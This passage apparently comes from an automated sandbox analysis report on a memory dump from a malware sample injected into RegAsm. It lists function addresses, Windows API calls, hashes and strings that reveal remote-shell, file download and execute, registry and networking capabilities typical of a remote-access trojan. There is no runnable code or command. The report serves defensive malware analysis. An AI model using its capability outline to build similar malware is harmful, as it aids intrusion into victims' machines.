                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Alloc
                              • String ID: FlsAlloc$5}/
                              • API String ID: 2773662609-3145805294
                              • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                              • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                              • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                              • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                              Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                              • GetLastError.KERNEL32 ref: 0040D083
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateErrorLastMutex
                              • String ID: SG
                              • API String ID: 1925916568-3189917014
                              • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                              • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                              • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                              • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                              Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                              • RegQueryValueExA.KERNEL32 ref: 004135E7
                              • RegCloseKey.KERNEL32(?), ref: 004135F2
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                              • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                              • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                              • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                              Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                              • RegQueryValueExA.KERNEL32 ref: 0041372D
                              • RegCloseKey.KERNEL32(00000000), ref: 00413738
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                              • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                              • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                              • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                              Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                              • RegQueryValueExA.KERNEL32 ref: 00413587
                              • RegCloseKey.KERNEL32(?), ref: 00413592
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                              • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                              • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                              • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                              Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                              • RegQueryValueExA.KERNEL32 ref: 0041352A
                              • RegCloseKey.KERNEL32(?), ref: 00413535
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                              • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                              • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                              • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                              Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                              • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                              • RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID:
                              • API String ID: 1818849710-0
                              • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                              • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                              • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                              • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                              Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _wcslen
                              • String ID: pQG
                              • API String ID: 176396367-3769108836
                              • Opcode ID: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                              • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                              • Opcode Fuzzy Hash: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                              • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                              Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                              Download Yara Rule
                              APIs
                              • try_get_function.LIBVCRUNTIME ref: 00438DA9
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: try_get_function
                              • String ID: FlsAlloc
                              • API String ID: 2742660187-671089009
                              • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                              • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                              • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                              • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                              Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                              Download Yara Rule
                              APIs
                              • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: GlobalMemoryStatus
                              • String ID: @
                              • API String ID: 1890195054-2766056989
                              • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                              • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                              • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                              • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                              Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                                • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                                • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                              • _free.LIBCMT ref: 0044EFD0
                              • _free.LIBCMT ref: 0044F006
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorLast_abort
                              • String ID:
                              • API String ID: 2991157371-0
                              • Opcode ID: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                              • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                              • Opcode Fuzzy Hash: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                              • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                              Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                              Download Yara Rule
                              APIs
                              • socket.WS2_32(?,00000001,00000006), ref: 00404852
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                                • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateEventStartupsocket
                              • String ID:
                              • API String ID: 1953588214-0
                              • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                              • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                              • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                              • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                              Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$ForegroundText
                              • String ID:
                              • API String ID: 29597999-0
                              • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                              • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                              • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                              • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                              Function 00414EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                              Download Yara Rule
                              APIs
                              • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                              • WSASetLastError.WS2_32(00000000), ref: 00414F10
                                • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                              • String ID:
                              • API String ID: 1170566393-0
                              • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                              • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                              • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                              • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                              Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                              • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                              • String ID:
                              • API String ID: 806969131-0
                              • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                              • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                              • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                              • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                              Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __alldvrm
                              • String ID:
                              • API String ID: 65215352-0
                              • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                              • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                              • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                              • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                              Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AllocateHeap
                              • String ID:
                              • API String ID: 1279760036-0
                              • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                              • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                              • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                              • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                              Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                              Download Yara Rule
                              APIs
                              • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Startup
                              • String ID:
                              • API String ID: 724789610-0
                              • Opcode ID: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                              • Instruction ID: a24ce82555f98f109a53945ea9c337c8597cdca763f75144b39f195b4e3f482d
                              • Opcode Fuzzy Hash: d1a3cfe2fad2e3cb4d6962b6d8b640ceb39eb3bb27a9d976f59a5119cf7f3e63
                              • Instruction Fuzzy Hash: 0DD0C9325586088AE620AAB4AD0B8A4775C8312615F0007AA6CA5835D2E6446A19C2AA
                              Function 00426CC8 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: send
                              • String ID:
                              • API String ID: 2809346765-0
                              • Opcode ID: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                              • Instruction ID: 80dceff54fd7c7607e374e8a405dba3f032bb15cdc3f4a53630576a73fa931ff
                              • Opcode Fuzzy Hash: a64cf630b3b4fcbf92e6cf8d3c010959396a6b24f5439efeece66edae75e3506
                              • Instruction Fuzzy Hash: 79B09279108202FFCB150B60CD0887A7EAAABC8381F008A2CB187411B1C636C852AB26
                              Function 00426CB1 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: recv
                              • String ID:
                              • API String ID: 1507349165-0
                              • Opcode ID: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                              • Instruction ID: 54da5cb0358175ea3eef87e0ba5f02fe09cc36e19498aa822303b7a5c5cf0de8
                              • Opcode Fuzzy Hash: 12f17b9eb2b05ccee17ecde8d051cd75af37e2c2e0a2002d53484fbbe037e517
                              • Instruction Fuzzy Hash: 38B09B75108302FFC6150750CC0486A7D66DBC8351B00481C714641170C736C8519725

                              Non-executed Functions

                              Function 00407C97 Relevance: 44.6, APIs: 10, Strings: 15, Instructions: 835filesleepCOMMON
                              Download Yara Rule
                              APIs
                              • SetEvent.KERNEL32(?,?), ref: 00407CB9
                              • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                              • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                • Part of subcall function 0041C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                                • Part of subcall function 0041C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                                • Part of subcall function 0041C291: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                              • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                              • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                              • DeleteFileA.KERNEL32(?), ref: 00408652
                                • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                              • Sleep.KERNEL32(000007D0), ref: 004086F8
                              • StrToIntA.SHLWAPI(00000000), ref: 0040873A
                                • Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                              • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                              • API String ID: 1067849700-181434739
                              • Opcode ID: 1ff92908fb735a07688bd7b3bf3bf23fdc0ca7871faa2f0198a6c16e2433a594
                              • Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
                              • Opcode Fuzzy Hash: 1ff92908fb735a07688bd7b3bf3bf23fdc0ca7871faa2f0198a6c16e2433a594
                              • Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B
                              Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 004056E6
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • __Init_thread_footer.LIBCMT ref: 00405723
                              • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                              • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                              • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                              • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                              • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                              • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
                              • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                              • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                              • CloseHandle.KERNEL32 ref: 00405A23
                              • CloseHandle.KERNEL32 ref: 00405A2B
                              • CloseHandle.KERNEL32 ref: 00405A3D
                              • CloseHandle.KERNEL32 ref: 00405A45
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                              • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                              • API String ID: 2994406822-18413064
                              • Opcode ID: 4cf14b19ad4f1a50ef4e69f7ada5f02e3acfdea048b49c70ac55160503c0ddf4
                              • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                              • Opcode Fuzzy Hash: 4cf14b19ad4f1a50ef4e69f7ada5f02e3acfdea048b49c70ac55160503c0ddf4
                              • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                              Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcessId.KERNEL32 ref: 00412106
                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                              • OpenMutexA.KERNEL32 ref: 00412146
                              • CloseHandle.KERNEL32(00000000), ref: 00412155
                              • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                              • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
